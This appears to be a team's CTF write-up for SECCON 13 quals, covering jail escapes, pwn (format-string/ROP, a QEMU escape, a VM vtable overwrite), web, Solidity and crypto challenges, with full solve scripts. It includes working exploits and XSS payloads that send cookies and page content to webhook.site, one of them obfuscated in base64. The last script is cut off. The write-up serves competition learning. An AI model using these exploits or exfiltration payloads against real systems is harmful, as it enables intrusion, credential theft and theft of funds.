# Jail ## gotojail - Noticed that we can use cgo - Bypassed `(){}` blacklist by using `asm()` to spoof free function and a gadget in `#<netipx/ipx.h>` ``` package main //#include <netipx/ipx.h> //#define SIOCPROTOPRIVATE"free:movq $0x6873,\050%rdi);jmp system;.globl free;" //__asm__ SIOCAIPXITFCRT; import "C" func main(){} __EOF__ stdin: cat /flag* >/proc/1/fd/1 ``` ## 1linepyjail Discovered that `help()` can import any module to the program and also we can import jail again with it. ``` ().__class__.__mro__[1].__subclasses__()[155].__init__.__builtins__['help']() code jail ().__class__.__mro__[1].__subclasses__()[-3].__init__.__globals__['interact']() ``` ## PP4 We can use the prototype pollution to define variables which we can later access in the jsfuck part using `undefined`. In the jsfuck part we can use `[][[]] -> undefined` to access the values from the prototype pollution, and use the `constructor` function to execute code. ```python from pwn import * import json #r = process(['node', './index.js'], level='error') r = remote('pp4.seccon.games', 5000, level='error') payload_code = '''return process.binding('spawn_sync').spawn({file: '/bin/bash', args: [ '/bin/bash', '-c', 'cat /flag*' ], stdio: [ {type:'pipe',readable:!0,writable:!1}, {type:'pipe',readable:!1,writable:!0}, {type:'pipe',readable:!1,writable:!0} ]}).output.toString();''' j = {'__proto__': {'':{'undefined':'a', 'a':{'undefined': 'constructor', 'a': {'undefined': 'constructor', 'a': {'undefined': payload_code}}}}}} j = json.dumps(j) print(j) r.sendlineafter(b'JSON: ', j.encode()) u = '[][[]]' us = 'u[u]' a = 'u[us]' p = '[][u[a][us]][u[a][a][us]](u[a][a][a][us])()' p = p.replace('a', a).replace('us', us).replace('u', u) print(p) r.sendlineafter(b'code: ', p.encode()) res = r.recvall().decode() print(res) ``` Flag: `SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game} ` # pwn ## Paragraph ```c #include <stdio.h> int main() { char name[24]; setbuf(stdin, NULL); setbuf(stdout, NULL); printf("\"What is your name?\", the black cat asked.\n"); scanf("%23s", name); printf(name); printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name); return 0; } ``` there is a format string bug in `printf(name);`. so if use this can overwrite lower 2byte of got. if change the `printf` got `scanf` address. then can get a overflow in `printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);`. 1. leak libc and overwrite printf got to scanf address 2. Because of there's no canary, write BOF payload that call system("/bin/sh"); ```python from pwn import * #p = remote("127.0.0.1", 5000) p = remote("paragraph.seccon.games",5000) payload = f"%{0xe00}c%8$hn".encode() payload += b"%11$p" payload += p32(0x404028) +p8(0)+p8(0) print(payload) print(len(payload)) pause() p.sendlineafter(".",payload) p.recvuntil("0x") libc = int(p.recv(12),16) - 0x2d1ca + 0x3000 log.info(hex(libc)) in_payload = b"A"*0x28 in_payload += p64(libc+0x000000000010f75b+1) in_payload += p64(libc+0x000000000010f75b) in_payload += p64(libc+0x1cb42f) in_payload += p64(libc+0x58740) payload= b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted "+in_payload+b" warmly.\n" print(payload) sleep(1) p.sendline(payload) p.sendline("cat flag*") p.interactive() ``` FLAG : `SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}` ## BabyQEMU [Full Writeup](https://kileak.github.io/ctf/2024/seccon13quals-babyqemu/) The mmio device has no out-of-bounds checks, so we can use it to read/write anywhere in QEMU memory. By this, we can first leak the addresses of QEMU heap and binary, then craft a fake vtable in the heap and overwrite an existing vtable pointer to execute `system("/bin/sh")`. For this we use the following gadgets ``` 0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax]; ``` With that we can control the content of `rdi` putting an address to a `/bin/sh` string in it, which we'll also put on the heap. ``` 0x000000000035f5d5: call qword ptr [rax + 8]; ``` Since executing `system` directly from the first gadget would result in a segfault on `movaps` due to a misaligned stack, we'll just chain another `call`, which will fix the stack alignment and then execute `system`. ```cpp #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #define MMIO_SET_OFFSET 0 #define MMIO_SET_DATA 8 #define MMIO_GET_DATA 8 unsigned char *mmio_mem; void mmio_write(uint32_t addr, uint32_t value) { *(uint32_t *)(mmio_mem + addr) = value; } uint32_t mmio_read(uint32_t addr) { return *(uint32_t *)(mmio_mem + addr); } void set_offset_lo(uint32_t value) { mmio_write(MMIO_SET_OFFSET, value); } void set_offset_hi(uint32_t value) { mmio_write(MMIO_SET_OFFSET + 4, value); } void set_value(uint32_t value) { mmio_write(MMIO_SET_DATA, value); } uint64_t get_value() { return mmio_read(MMIO_GET_DATA); } uint64_t read_addr_offset(uint64_t offset) { set_offset_lo(offset & 0xffffffff); set_offset_hi((offset >> 32) & 0xffffffff); uint64_t addr_lo = get_value(); set_offset_lo((offset + 4) & 0xffffffff); set_offset_hi(((offset + 4) >> 32) & 0xffffffff); uint64_t addr_hi = get_value(); return (addr_hi << 32) | addr_lo; } void write_addr_offset(uint64_t offset, uint32_t value) { set_offset_lo(offset & 0xffffffff); set_offset_hi((offset >> 32) & 0xffffffff); set_value(value); } int main() { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); uint64_t heapleak = read_addr_offset(0x120); uint64_t qemuleak = read_addr_offset(0x130); uint64_t qemubase = qemuleak - 0x7b44a0; uint64_t opaque = read_addr_offset(-0xbf8 + 0xd8); uint64_t mmio_ptr = read_addr_offset(-0xbf8 - 0x7b0); uint64_t target_off = opaque - mmio_ptr - 0x50; printf("HEAP leak : %p\n", heapleak); printf("QEMU leak : %p\n", qemuleak); printf("QEMU base : %p\n", qemubase); printf("opaque : %p\n", opaque); printf("mmio_ptr : %p\n", mmio_ptr); printf("target_off : %p\n", target_off); // 0x0000000000575a0e: mov rdi, qword ptr [rax + 0x10]; call qword ptr [rax]; // 0x000000000035f5d5: call qword ptr [rax + 8]; uint64_t system = qemubase + 0x324150; uint64_t setrdigadget = qemubase + 0x0000000000575a0e; uint64_t callrax8 = qemubase + 0x000000000035f5d5; write_addr_offset(0x20, callrax8 & 0xffffffff); // rax write_addr_offset(0x24, callrax8 >> 32); // rax write_addr_offset(0x20 + 8, system & 0xffffffff); // rax+0x8 write_addr_offset(0x20 + 4 + 8, system >> 32); // rax+0x8 write_addr_offset(0x20 + 0x10, ((heapleak + 0x1d20) & 0xffffffff) + 0x10); // rax + 0x10 => address of bin/sh write_addr_offset(0x24 + 0x10, heapleak >> 32); write_addr_offset(0x20 + 8 + 0x10, 0x6e69622f); // rax+0x18 => bin/sh write_addr_offset(0x20 + 8 + 0x10 + 4, 0x68732f); write_addr_offset(0x20 + 0x38, setrdigadget & 0xffffffff); // gadget (call [rax]) write_addr_offset(0x24 + 0x38, setrdigadget >> 32); write_addr_offset(-0xbf8 - target_off, opaque + 0xbf8 + 0x20); // overwrite vtable munmap(mmio_mem, 0x1000); close(mmio_fd); } ``` Flag: `SECCON{q3mu_35c4p3_15_34513r_7h4n_y0u_7h1nk}` ## TOY/2 [Full Writeup](https://kileak.github.io/ctf/2024/seccon13quals-toy2/) The range check in `stt` has a off-by-one error, which allows us to overwrite one byte outside of `_mem`. With this, we can overwrite the `_mem` pointer itself, moving the vm memory range up- and downwards. This lets us overwrite the size of the vm memory and also access the vtable pointer of the vm. We can then read the original vtable pointer and calculate the address of `main`, create a fake vtable, which will jump back into `main` when `vm->dump_registers()` gets called. Raising an exception before with executing an `illegal` instruction (opcode 7) will put an exception object on the heap, which will contain pointers to `libstdc++`. So when returning back into main, we can again overwrite `size` and `_mem` pointer to read/write outside of the vm. Thus we can get the `libstdc++` pointer, calculate `libc` base and then create a fake vtable, which will then execute `system("/bin/sh")` when `vm->dump_registers()` is called again. ```cpp #!/usr/bin/python from pwn import * import sys LOCAL = True HOST = "toy-2.seccon.games" # HOST = "localhost" PORT = 5000 PROCESS = "./toy2" def op(first, second): val = first << 12 val |= second return p16(val) def jmp(addr): return op(0, addr) def adc(addr): return op(1, addr) def xor(addr): return op(2, addr) def sbc(addr): return op(3, addr) def ror(): return op(4, 0) def tat(): return op(5, 0) def oor(addr): return op(6, addr) def oand(addr): return op(8, addr) def ldc(addr): return op(9, addr) def bcc(addr): return op(10, addr) def bne(addr): return op(11, addr) def ldi(): return op(12, 0) def stt(): return op(13, 0) def lda(addr): return op(14, addr) def sta(addr): return op(15, addr) def exploit(r): # code segment # move _mem ptr down code = lda(0xf00) code += tat() code += lda(0xf02) code += stt() # padding for moved mem ptr code += b"\x00" * 16 # overwrite _mem size code += lda(0xf04 - 0x10) code += sta(0x1000 + 8 - 0x10) # padding to increase pc code += ror() * 16 # move _mem ptr up code += lda(0xf06 - 0x10) code += sta(0x1000 - 1 - 0x10) # read vtable and calculate offset to main code += lda(-0x8 + 0x8) # read original vtable (lower 2 bytes) code += sbc(0xf08 + 0x8) # calculate elf base code += adc(0xf0a + 0x8) # calculate main code += sta(0xe00 + 0x8) # write into mem code += lda(-0x8 + 0x2 + 0x8) # read original vtable (next 2 bytes) code += sta(0xe00 + 0x2 + 0x8) # write into mem code += lda(-0x8 + 0x4 + 0x8) # read original vtable (next 2 bytes) code += sta(0xe00 + 0x4 + 0x8) # write into mem # overwrite vtable ptr code += lda(0xf0c + 0x8) # load offset to _mem ptr code += ldi() # read lower 2 bytes of _mem ptr code += adc(0xf12 + 0x8) # add offset to fake vtable code += sta(-0x8 + 0x8) # overwrite vtable code += lda(0xf0e + 0x8) # copy _mem ptr+2 to vtable+2 code += ldi() code += sta(-0x8 + 0x2 + 0x8) code += lda(0xf10 + 0x8) # copy _mem ptr+4 to vtable+4 code += ldi() code += sta(-0x8 + 0x4 + 0x8) # trigger invalid instruction code += op(7, 0) # data segment code = code.ljust(0xf00, b"\x00") code += p16(0xc800) # 0xf00 LSB overwrite value (move down) code += p16(0xfff) # 0xf02 Target address (overwrite _mem ptr) code += p16(0xffff) # 0xf04 new _mem_size code += p16(0xb000) # 0xf06 LSB overwrite value (move up) code += p16(0x4c70) # 0xf08 original vtable offset code += p16(0x26d0) # 0xf0a offset to main code += p16(0x1000 + 0x8) # 0xf0c offset to _mem ptr code += p16(0x1000 + 0x2 + 0x8) # 0xf0e offset to _mem ptr + 2 code += p16(0x1000 + 0x4 + 0x8) # 0xf10 offset to _mem ptr + 4 code += p16(0xe00) # 0xf12 offset to fake vtable code = code.ljust(4096, b"\x00") r.send(code) r.recvuntil(b"[+] Done.") # move _mem ptr down code = lda(0xf00) code += tat() code += lda(0xf02) code += stt() # padding for moved mem ptr code += b"\x00" * 16 # overwrite _mem size code += lda(0xf04 - 0x10) code += sta(0x1000 + 8 - 0x10) # padding to increase pc code += ror() * 80 # move _mem ptr up code += lda(0xf06 - 0x10) code += sta(0x1000 - 1 - 0x10) LIBCOFFSET = 0x4aeff0 # read libstdc++ pointer and calculate libc base and store in _mem code += lda(0x10) # bytes 0-2 code += sbc(0xf08 + 0x78) code += sta(0x400 + 0x78) code += lda(0x12) # bytes 2-4 code += sbc(0xf0a + 0x78) code += sta(0x402 + 0x78) code += lda(0x14) # bytes 4-6 code += sta(0x404 + 0x78) # 0x000000000016e44e: mov rdi, r14; call qword ptr [rax + 0x10]; GADGETOFFSET = 0x16e44e # write fake vtable with gadget code += lda(0x400 + 0x78) # libc base code += adc(0xf0c + 0x78) # add gadget offset code += sta(0x410 + 0x78) # fake vtable code += lda(0x402 + 0x78) # libc base code += adc(0xf0e + 0x78) # add gadget offset code += sta(0x412 + 0x78) # fake vtable code += lda(0x404 + 0x78) # libc base code += sta(0x414 + 0x78) # fake vtable # write binsh string to _mem BINSH = 0x0068732f6e69622f code += lda(0xf10 + 0x78) code += sta(0x10) code += lda(0xf12 + 0x78) code += sta(0x12) code += lda(0xf14 + 0x78) code += sta(0x14) code += lda(0xf16 + 0x78) code += sta(0x16) # write system+0x1b to rax+0x10 SYSTEMOFFSET = libc.symbols["system"] + 0x1b code += lda(0x400 + 0x78) # libc base code += adc(0xf18 + 0x78) # add system offset code += sta(0x418 + 0x78) # store at 0x418 code += lda(0x402 + 0x78) # libc base code += adc(0xf1a + 0x78) # add system offset code += sta(0x418 + 0x2 + 0x78) # store at 0x418+2 code += lda(0x404 + 0x78) # libc base code += sta(0x418 + 0x4 + 0x78) # store at 0x418+4 # overwrite vtable with fake vtable code += lda(0xf1c + 0x78) # get _mem_ptr code += ldi() code += adc(0xf22 + 0x78) # add offset to fake vtable code += sta(0x70) # overwrite vtable code += lda(0xf1e + 0x78) # get _mem_ptr+2 code += ldi() code += sta(0x70 + 0x2) code += lda(0xf20 + 0x78) # get _mem_ptr+4 code += ldi() code += sta(0x70 + 0x4) # data segment code = code.ljust(0xf00, b"\x00") code += p16(0xd800) # 0xf00 LSB overwrite value (move down) code += p16(0xfff) # 0xf02 Target address (overwrite _mem ptr) code += p16(0xffff) # 0xf04 new _mem_size code += p16(0x5000) # 0xf06 LSB overwrite value (move up) code += p16(LIBCOFFSET & 0xffff) # 0xf08 libc offset (0-16) code += p16((LIBCOFFSET >> 16) & 0xffff) # 0xf0a libc offset (16-32) code += p16(GADGETOFFSET & 0xffff) # 0xf0c gadget offset (0-16) code += p16((GADGETOFFSET >> 16) & 0xffff) # 0xf0e gadget offset (16-32) code += p16(BINSH & 0xffff) # 0xf10 binsh (0-16) code += p16((BINSH >> 16) & 0xffff) # 0xf12 binsh (16-32) code += p16((BINSH >> 32) & 0xffff) # 0xf14 binsh (32-48) code += p16((BINSH >> 48) & 0xffff) # 0xf16 binsh (48-64) code += p16(SYSTEMOFFSET & 0xffff) # 0xf18 system offset (0-16) code += p16((SYSTEMOFFSET >> 16) & 0xffff) # 0xf1a system offset (16-32) code += p16(0x1000 + 0x78) # 0xf1c _mem_ptr code += p16(0x1000 + 0x2 + 0x78) # 0xf1e _mem_ptr+2 code += p16(0x1000 + 0x4 + 0x78) # 0xf20 _mem_ptr+4 code += p16(0x480) # 0xf22 offset to fake vtable code = code.ljust(4096, b"\x00") pause() r.send(code) r.interactive() return if __name__ == "__main__": libc = ELF("./libc.so.6") context.terminal = ["tmux", "splitw", "-v"] if len(sys.argv) > 1: LOCAL = False r = remote(HOST, PORT) else: LOCAL = True r = remote("localhost", 5000) pause() exploit(r) ``` Flag: `SECCON{Im4g1n3_pWn1n6_1n51d3_a_3um_CM0S}` # Web ## TrillionBank A user can send their balance to another user putting their name into the form. The following database query will be executed: ```js await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [ amount, req.user.id, ]); await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [ amount, recipientName, ]); ``` This can be exploited if there are multiple accounts with the same name, because this query will increase the balance of all accounts with the given name. The register endpoint, which is responsible to prevent this from happening, looks indeed weird: ```js app.post("/api/register", async (req, res) => { const name = String(req.body.name); if (!/^[a-z0-9]+$/.test(name)) { res.status(400).send({ msg: "Invalid name" }); return; } if (names.has(name)) { res.status(400).send({ msg: "Already exists" }); return; } names.add(name); const [result] = await db.query("INSERT INTO users SET ?", { name, balance: 10, }); res .setCookie("session", await res.jwtSign({ id: result.insertId })) .send({ msg: "Succeeded" }); }); ``` There is the `names` map variable, which is used to handle the duplication check. Although this weird logic makes race condition impossible (due to the single-threaded nature of Node.js), but still... this logic is weird. The type of the `users` table's `name` field is `TEXT`. The maximum length of a `TEXT` field is 65,535 bytes. If the value exceeds this threshold, well, [it will be truncated, emitting a warning](https://dev.mysql.com/doc/refman/8.4/en/char.html#:~:text=If%20strict%20SQL%20mode%20is%20not%20enabled%20and%20you%20assign%20a%20value%20to%20a%20CHAR%20or%20VARCHAR%20column%20that%20exceeds%20the%20column%27s%20maximum%20length%2C%20the%20value%20is%20truncated%20to%20fit%20and%20a%20warning%20is%20generated.). Honestly I think this is insane engineering decision; This is database and you don't want your database to screw up your data, but that's what they're doing here exactly. Yeah, it emits the warning, which will be silently ignored on the backend since no one knows this abnormal behavior and generally no one writes the code handling the 'warning' from the database after your seemingly successful query. Good job, MySQL. By the way, this behavior is exploitable in this codebase. You can generate some 65535-byte random username and register the accounts with the names `username`, `username + "A"`, `username + "A" * 2`, ..., `username + "A" * 15`. Now when someone transfers their money to `username`, all of the accounts we created will receive the amount sent. The following code exploits this behavior to get the flag: ```python import requests import random import string chall = 'http://trillion.seccon.games:3000' gen = lambda l: ''.join([random.choice(string.ascii_lowercase + string.digits) for _ in range(l)]) ref_name = gen(16) prefix = gen(65535) def register(name): session = requests.Session() r = session.post(chall + "/api/register", json={'name': name}) if r.status_code == 200: return session ref_session = register(ref_name) prefix_sessions = [register(prefix + 'a' * i) for i in range(16)] while True: r = ref_session.get(chall + "/api/me") d = r.json() print("Main", d['balance']) if d['balance'] > 1000000000000: print(d) break r = ref_session.post(chall + "/api/transfer", json={'recipientName': prefix, 'amount': str(d['balance'])}) print("Result", r.text) for prefix_session in prefix_sessions: r = prefix_session.get(chall + "/api/me") d = r.json() r = prefix_session.post(chall + "/api/transfer", json={'recipientName': ref_name, 'amount': str(d['balance'])}) ``` And the flag obtained with the above code is `SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}`. ## Self-SSRF We have a `/ssrf` endpoint that will locally send a request to `/flag` with the correct `flag` but there's a middleware that checks that `req.query.flag` exists so the request will end up looking like `flag={user input}&flag=SECCON{realflag}` which will not pass the code below. ```js res.send( req.query.flag === FLAG // Guess the flag ? `Congratz! The flag is '${FLAG}'.` : `<marquee>🚩🚩🚩</marquee>` ); ``` Since passing in two different `flag` will make `req.query.flag` into an array. After a bit of digging, we found out that `/ssrf?flag[=]=1` will output flag due to the code initially recognizing `flag` correctly as an object but whenever it tries to append it, it treats the flag object differently and uniquely adds the real flag as it can be seen in the log below. ``` chall-1 | req.query.flag is : { <-- Before append chall-1 | "=": "1", chall-1 | } chall-1 | search params: URLSearchParams { <-- After append chall-1 | "flag[": "]=1", chall-1 | "flag": "SECCON{dummy}", chall-1 | } ``` `Congratz! The flag is 'SECCON{Which_whit3space_did_you_u5e?}'`. ## Tanuki Udon For the markdown function, it has less validation. So, we could do inject `onerror` on the img tag. We could get some XSS on there and manage to solve this challenge. ``` ![]([]()[]( onerror=a=atob`dmFyIGNoaWxkID0gd2luZG93Lm9wZW4oIi8iKTtzZXRUaW1lb3V0KCgpPT57IG5hdmlnYXRvci5zZW5kQmVhY29uKCJodHRwczovL3dlYmhvb2suc2l0ZS80ZmUyYmVkOC1lNzcxLTRhYjctYmI3NC02ZDAzYmVjYjFhOTQvIiwgY2hpbGQuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwpfSwgNTAp`;eval.call`${a}` ) ``` `SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}` ## Javascryptor There a trivial XSS in this challenge but there are two problems. First one is that we need currentId and the second one is that all users use a unique key so we can't easily alert() other users. We can solve the first problem by iframing the payload, the currentId then won't be overwritten because chrome will isolate the localstorage. For the second problem, we can use the prototype pollution vulnerablity that exists in purl. The following code is part of `CryptoJS.enc.Base64`. If we pollute the first 4 indexes of `words` array with 0xffffffff then the key will always be `\xff*16`. ``` function parseLoop(base64Str, base64StrLength, reverseMap) { var words = []; var nBytes = 0; for (var i = 0; i < base64StrLength; i++) { if (i % 4) { var bits1 = reverseMap[base64Str.charCodeAt(i - 1)] << ((i % 4) * 2); var bits2 = reverseMap[base64Str.charCodeAt(i)] >>> (6 - (i % 4) * 2); var bitsCombined = bits1 | bits2; words[nBytes >>> 2] |= bitsCombined << (24 - (nBytes % 4) * 8); nBytes++; } } return WordArray.create(words, nBytes); } ``` We then crafted a "ciphertext" and "iv" that after decrypted, will contain the following payload (kinda tricky since the first 32 bytes of iv and ciphertext will also be 0xff, but since it is AES CBC we can workaround it): ``` <img src="1" onerror="fetch(`https://webhook.site/93a65f09-080c-4b21-8128-973cb0f05cec`).then(r=>r.text()).then(r=>eval(r))"> ``` ``` { "iv": "Q8WR0Y19Yt4+v+l+gLy9MA==", "ciphertext": "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF9E+cnEaysGpsqekoJLjPS34MzP5M228OaQNi+lAo4tafZT+7odECs9fgu8b1NXiRp6rEivWE1nQVsoeqOID1K+3xmWJsMercjRK7jVlLEbhJd1KOAGmCZZxEGexnWOfEzNpzXgxxQWAy4AyayzaCT+Z0gFbmIylQGZl/OKhfThISWwZ35QBMo1MLSu2OokvU=" } ``` Then hosted the following code at that webhook URL. ``` let x = window.open('/df') setTimeout(_=>{ fetch(`http://localhost:3000/?a=`+encodeURIComponent(`${x.localStorage.getItem('currentId')} - ${x.localStorage.getItem('key')}`)) },1000) ``` Finally triggering the exploit ``` <!-- page at attacker.com --> <iframe src="http://javascrypto.seccon.games:3000/?id=8e13541e-a68f-4248-8075-4726dea7f80d&d[__proto__][0]=0xffffffff&d[__proto__][1]=0xffffffff&d[__proto__][2]=0xffffffff&d[__proto__][3]=0xffffffff"></iframe> ``` ## Double Parser htmlparser2 doesn't handle xmp tags well... We can use this to craft a payload. To bypass CSP we can use HTML comments. In Javascript (`<!--`) behaves somehow like `//`. ``` <!-- alert() -> ``` ``` encodeURIComponent(`<xmp><!--</xmp><img id="--><&#x2f;xmp><img src=1 ><xmp><!-- <&#x2f;xmp><script src='/?html=%3C!--%0A%3Bfetch(%60https%3A%2F%2Fwebhook.site%2F93a65f09-080c-4b21-8128-973cb0f05cec%60%2C%7Bmethod%3A%60POST%60%2Cbody%3Adocument.cookie%7D)%2F%2F--%3E'></script> --><&#x2f;xmp>">`) ``` # Blockchain ## trillionether The code has uninitialized pointer reuse vulnerability. So, we could overwrite the slot address where we want to ovewrite. Ref: https://github.com/ethereum/solidity/issues/14021 After some research, I realized that the integer overflow/underflow will be detected but it's not reveretd when it calculates the internal slot address. So, I could abuse this and manage to solve this challenge. My payload will overwrite balance as `msg.sender`. So, we could drain the balance of the contract. payload: ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Script.sol"; import "../src/TrillionEther.sol"; contract CounterScript is Script { TrillionEther public te; address public cont; function setUp() public { cont = 0x6d240F5aeebc6fB8Cc596fE445BcA32e3f653667; te = TrillionEther(cont); } function alignSlot() public { te.createWallet(bytes32(uint256(0xf250b10ce3d189c7b8a9937227ed301291731678e7eaa7adedf0244dfb0408df) - 1)); te.createWallet(bytes32(uint256(0x9cfb5bb78e7c347263543e1cd297dabd3c1dc12392955258989acef8a5aeb389) - 1)); te.createWallet(bytes32(uint256(0x47a606623926df1d0dfee8c77d428567e6c86bce3d3ffd03434579a350595e34) - 1)); te.createWallet(bytes32(uint256(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) - 1)); } function run() public { vm.startBroadcast(0xabc36aba623d0038158461f5d4b1b25e16d5844f72a520716a2b02e9981e68cb); uint256 dest = 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563; alignSlot(); uint256 goal = 0xf250b10ce3d189c7b8a9937227ed301291731678e7eaa7adedf0244dfb0408df - 1; unchecked { console.logBytes32(bytes32(dest+(3*goal))); bytes32 expectedSlot0 = vm.load(address(te), bytes32(dest+(3*goal)+0)); bytes32 expectedSlot1 = vm.load(address(te), bytes32(dest+(3*goal)+1)); bytes32 expectedSlot2 = vm.load(address(te), bytes32(dest+(3*goal)+2)); console.logBytes32(expectedSlot0); console.logBytes32(expectedSlot1); console.logBytes32(expectedSlot2); } te.withdraw(goal, address(te).balance); console.log(te.isSolved()); } } ``` `SECCON{unb3l13-bubb13_64362072f002c1ea}` # Crypto ## reiwa-rot13 Related message attack ```py from itertools import product diffs = set() for cand in product(["a", "n"], repeat=10): orig = "".join(cand) rotated = codecs.encode(orig, "rot13") diff = bytes_to_long(orig.encode()) - bytes_to_long(rotated.encode()) diffs.add(diff) R.<X> = Zmod(n)[] from tqdm import tqdm for diff in tqdm(diffs): g1 = X ** e - c1 g2 = (X + diff) ** e - c2 while g2: g1, g2 = g2, g1 % g2 g = g1.monic() if g.degree() != 1: continue recovered = long_to_bytes(int(-g[0])) if len(recovered) == 10: print(recovered) continue ``` Profit ```py key = recovered key = b"dnjqygbmor" key = hashlib.sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print(cipher.decrypt(encyprted_flag)) b'SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}' ``` ## dual summon ``` t11 = s1 + L * a1 + ct11 * a1^2 (used pt1) t12 = s1 + L * a1 + ct12 * a1^2 (used pt2) t21 = s2 + L * a2 + ct21 * a2^2 (used pt1) t22 = s2 + L * a2 + ct22 * a2^2 (used pt2) ``` we know ct11 + ct12 because ct11 + ct12 = pt1 + pt2 we also know ct21 + ct22 = pt1 + pt2 too. ``` t11 + t12 = (ct11 + ct12) * a1^2 t21 + t22 = (ct21 + ct22) * a2^2 ``` so we can recover a1^2, a2^2 now put final_pt = pt1 + x where x = (t11 + t21) / (a1^2 + a2^2) then ``` final_tag1 = t11 + a1^2 * x final_tag2 = t21 + a2^2 * x final_tag1 + final_tag2 = t11 + t21 + x * (a1^2 + a2^2) = t11 + t21 + t11 + t21 = 0 ``` so final_tag1 = final_tag2 ```python # Helper from Crypto.Cipher import AES F.<a> = GF(2^128, modulus=x^128 + x^7 + x^2 + x + 1) mod = 2^128 + 2^7 + 2^2 + 2 + 1 def bytes_to_n(b): v = int.from_bytes(nullpad(b), 'big') return int(f"{v:0128b}"[::-1], 2) def bytes_to_poly(b): return F.from_integer(bytes_to_n(b)) def poly_to_n(p): v = p.to_integer() return int(f"{v:0128b}"[::-1], 2) def poly_to_bytes(p): return poly_to_n(p).to_bytes(16, 'big') def length_block(lad, lct): return int(lad * 8).to_bytes(8, 'big') + int(lct * 8).to_bytes(8, 'big') def nullpad(msg): return bytes(msg) + b'\x00' * (-len(msg) % 16) def calculate_tag(key, ct, nonce, ad): y = AES.new(key, AES.MODE_ECB).encrypt(bytes(16)) s = AES.new(key, AES.MODE_ECB).encrypt(nonce + b"\x00\x00\x00\x01") assert len(nonce) == 12 # I was lazy to find one for other length nonces, not really needed for this challenge y = bytes_to_poly(y) l = length_block(len(ad), len(ct)) blocks = nullpad(ad) + nullpad(ct) bl = len(blocks) // 16 blocks = [blocks[16 * i:16 * (i + 1)] for i in range(bl)] blocks.append(l) blocks.append(s) tag = F(0) for exp, block in enumerate(blocks[::-1]): tag += y^exp * bytes_to_poly(block) tag = poly_to_bytes(tag) return tag def check(): key = os.urandom(16) nonce = os.urandom(12) ad = os.urandom(os.urandom(1)[0]) pt = os.urandom(os.urandom(1)[0]) cipher = AES.new(key, AES.MODE_GCM, nonce) cipher.update(ad) ct, tag = cipher.encrypt_and_digest(pt) assert tag == calculate_tag(key, ct, nonce, ad) check() from pwn import remote, process # io = process(["python3", "server.py"]) io = remote("dual-summon.seccon.games", 2222r) atags = [] y2s = [] for i in range(1, 3): a = b"asdfasdfasdfasdf" b = b"qwerqwerqwerqwer" io.sendline(b"1") io.sendline(str(i).encode()) io.sendline(bytes.hex(a).encode()) io.recvuntil(b"tag(hex) = ") taga = bytes.fromhex(io.recvline().decode()) io.sendline(b"1") io.sendline(str(i).encode()) io.sendline(bytes.hex(b).encode()) io.recvuntil(b"tag(hex) = ") tagb = bytes.fromhex(io.recvline().decode()) taga = bytes_to_poly(taga) tagb = bytes_to_poly(tagb) atags.append(taga) a = bytes_to_poly(a) b = bytes_to_poly(b) y2 = (taga + tagb) / (a + b) y2s.append(y2) diff = atags[0] + atags[1] + (y2s[0] + y2s[1]) * a ans = diff / (y2s[0] + y2s[1]) ans = poly_to_bytes(ans) io.sendline(b"2") io.sendline(bytes.hex(ans)) io.interactive() ``` ## Tidal wave ### Recover alphas Square of alphas are given, and we have determinant of submatrixes of G, which is Vandermonde matrix. I expressed dets with alphas, and just run`groebner_basis` with them. Then we can gain every alphas are expressed with alphas[35]. Since `alpha_sum_rsa` is given, we can recover all the alphas. ### Recover pvec After that, we can recover pvec with LLL. But since first row of G is `[1, 1, ..., 1]`, we cannot recover first value of pvec. We can recover p with just running `small_roots`. ### Recover keyvec In modulo p (or q), the `make_random_vector2` has 14 non-zero values out of 36 total elements. Since 22C8/36C8 = 0.010567.., we can simply use a brute-force method to identify the 8 indices where `make_random_vector2` is zero. ```python from output import * ## recover alphas R = Zmod(N) PR = PolynomialRing(R, [f"alpha_{i}" for i in range(36)]) alphas = list(PR.gens()) double_polys = [alphas[i]^2 - double_alphas[i] for i in range(36)] fs = [] for m in range(5): f = 1 for i in range(7*m, 8+7*m): for j in range(i + 1, 8+7*m): f *= alphas[j] - alphas[i] for k in range(7*m, 8+7*m): f %= double_polys[k] fs.append(f-dets[m]) alphas_c = [] gb = ideal(double_polys + fs).groebner_basis() for i in range(35): t1, t2 = gb[i + 1] assert t1[1] == alphas[i] assert t2[1] == alphas[35] alphas_c.append(-t2[0]) alphas_c.append(1) alphas[35] = alpha_sum_rsa / (sum(alphas_c)^0x10001 * R(double_alphas[35])^0x8000) for i in range(35): alphas[i] = alphas[35] * alphas_c[i] n, k = 36, 8 def make_G(R, alphas): mat = [] for i in range(k): row = [] for j in range(n): row.append(alphas[j]^i) mat.append(row) mat = matrix(R, mat) return mat G = make_G(R, alphas) for i in range(5): assert dets[i] == G.submatrix(0,i*k-i,8,8).det() for i in range(36): assert alphas[i]^2 == double_alphas[i] ## recover pvec M = Matrix(ZZ, n + k + 1, n + k + 1) M[0, 0] = 2^1000 for i in range(n): M[0, k + 1 + i] = p_encoded[i] for i in range(k): for j in range(n): M[1 + i, k + 1 + j] = G[i, j] M[1 + i, 1 + i] = 2^(1000-512//k) for i in range(n): M[k + 1 + i, k + 1 + i] = N M = M.LLL() for v in M: if v[0] == 2^1000: break p = 0 